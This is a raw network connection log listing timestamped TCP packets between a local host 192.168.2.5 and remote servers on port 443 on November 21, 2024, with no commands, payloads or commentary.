Nov 21, 2024 14:27:44.661931038 CET	49955	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.661952019 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.661967039 CET	443	49955	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.665028095 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.665060997 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.665337086 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.665337086 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.665361881 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.707118988 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.710448980 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.710506916 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.710592031 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.710614920 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.710628986 CET	49956	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.710635900 CET	443	49956	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.712991953 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.713079929 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.713164091 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.713304043 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.713332891 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.724231958 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.724586010 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.724603891 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:44.725030899 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:44.725038052 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.176702976 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.179822922 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.179889917 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.179965973 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.179980993 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.179994106 CET	49957	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.180001020 CET	443	49957	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.186311960 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.186352015 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.186412096 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.190134048 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.190144062 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.508136034 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.515255928 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.515300035 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.523657084 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.523674011 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.957082033 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.958575964 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.958627939 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.958655119 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.958695889 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.958748102 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.958748102 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.958775997 CET	49958	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.958791018 CET	443	49958	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.962183952 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.962250948 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:45.962342978 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.962522030 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:45.962537050 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.214037895 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.214601040 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.214636087 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.215086937 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.215094090 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.444899082 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.445446968 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.445494890 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.445940018 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.445955992 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.457818985 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.458112955 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.458131075 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.458472013 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.458477974 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.488945007 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:46.488976955 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:46.489053965 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:46.489355087 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:46.489367008 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:46.699975014 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.703167915 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.703233957 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.703325033 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.703344107 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.703365088 CET	49959	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.703372002 CET	443	49959	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.707031965 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.707077026 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.707154036 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.707374096 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.707382917 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.886137009 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.889288902 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.889364958 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.889444113 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.889444113 CET	49961	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.889486074 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.889513016 CET	443	49961	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.892605066 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.892669916 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.892760038 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.892941952 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.892956018 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.903379917 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.906347990 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.906407118 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.906425953 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.906455994 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.906503916 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.906526089 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.906536102 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.906536102 CET	49960	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.906543970 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.906549931 CET	443	49960	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.909188032 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.909210920 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:46.910016060 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.910173893 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:46.910187006 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.053842068 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.054368019 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.054389954 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.054987907 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.054992914 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.506987095 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.509970903 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.510060072 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.510083914 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.510129929 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.510195017 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.510219097 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.510236025 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.510246992 CET	49962	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.510255098 CET	443	49962	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.513027906 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.513077021 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.513175011 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.513323069 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.513339043 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.988208055 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.988919973 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.988980055 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:47.989238024 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:47.989250898 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.003794909 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:48.004065990 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:48.004086018 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:48.004734993 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:48.005098104 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:48.005202055 CET	443	49964	216.58.206.68	192.168.2.5
Nov 21, 2024 14:27:48.053611994 CET	49964	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:27:48.432763100 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.435853958 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.435918093 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.436000109 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.436000109 CET	49963	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.436038971 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.436081886 CET	443	49963	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.438599110 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.438642025 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.438731909 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.438865900 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.438884974 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.529602051 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.530061007 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.530102968 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.530517101 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.530524015 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.674221992 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.674695015 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.674726963 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.675239086 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.675246954 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.694626093 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.695035934 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.695066929 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.695436001 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.695446968 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.973160028 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.976516008 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.976588964 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.976613998 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.976676941 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.982744932 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.982744932 CET	49965	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.982800007 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.982826948 CET	443	49965	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.985749006 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.985853910 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:48.985941887 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.986249924 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:48.986288071 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.117897034 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.120968103 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.121037960 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.121265888 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.121265888 CET	49966	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.121287107 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.121299982 CET	443	49966	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.123801947 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.123847961 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.124058962 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.124244928 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.124263048 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.138765097 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.138832092 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.138910055 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.138945103 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.139034986 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.139065981 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.139087915 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.139239073 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.139277935 CET	443	49967	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.139336109 CET	49967	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.141283989 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.141335011 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.141410112 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.141552925 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.141578913 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.306008101 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.306525946 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.306552887 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.307013035 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.307018042 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.748775959 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.748831034 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.748908997 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.748970032 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.749005079 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.749061108 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.749186993 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.749222040 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.749248981 CET	49968	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.749264002 CET	443	49968	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.752234936 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.752290964 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:49.752379894 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.752545118 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:49.752563953 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.285515070 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.286035061 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.286051035 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.286503077 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.286508083 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.740839005 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.743887901 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.743947983 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.744038105 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.744105101 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.744306087 CET	49969	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.744324923 CET	443	49969	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.747123957 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.747204065 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.747287989 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.747426987 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.747443914 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.838756084 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.839226007 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.839284897 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.839687109 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.839700937 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.897833109 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.898358107 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.898374081 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.898797989 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.898804903 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.992050886 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.992794991 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.992837906 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:50.993196011 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:50.993208885 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.296360970 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.299402952 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.299509048 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.299592972 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.299592972 CET	49970	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.299635887 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.299666882 CET	443	49970	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.305145979 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.305226088 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.305329084 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.305461884 CET	49975	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.305495977 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.331760883 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.334930897 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.335004091 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.335026026 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.335063934 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.335112095 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.335141897 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.335160017 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.335170984 CET	49971	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.335177898 CET	443	49971	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.339082956 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.339123964 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.339205980 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.339346886 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.339359999 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.443733931 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.446789980 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.446849108 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.446917057 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.446935892 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.446963072 CET	49972	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.446970940 CET	443	49972	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.450015068 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.450124025 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.450217009 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.450732946 CET	49977	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.450767040 CET	443	49977	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.474246979 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.475869894 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.475903034 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.476613998 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.476623058 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.908494949 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.911878109 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.911945105 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.912008047 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.912046909 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.912101030 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.912144899 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.912182093 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.912208080 CET	49973	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.912223101 CET	443	49973	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.915036917 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.915129900 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:51.915211916 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.915374041 CET	49978	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:51.915394068 CET	443	49978	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:52.537658930 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:52.538240910 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:52.538260937 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:52.538716078 CET	49974	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:52.538721085 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.125605106 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.126204014 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.126256943 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.126661062 CET	49976	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:53.126672983 CET	443	49976	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.151972055 CET	443	49975	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.152072906 CET	443	49974	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:53.152754068 CET	49975	443	192.168.2.5	13.107.246.45
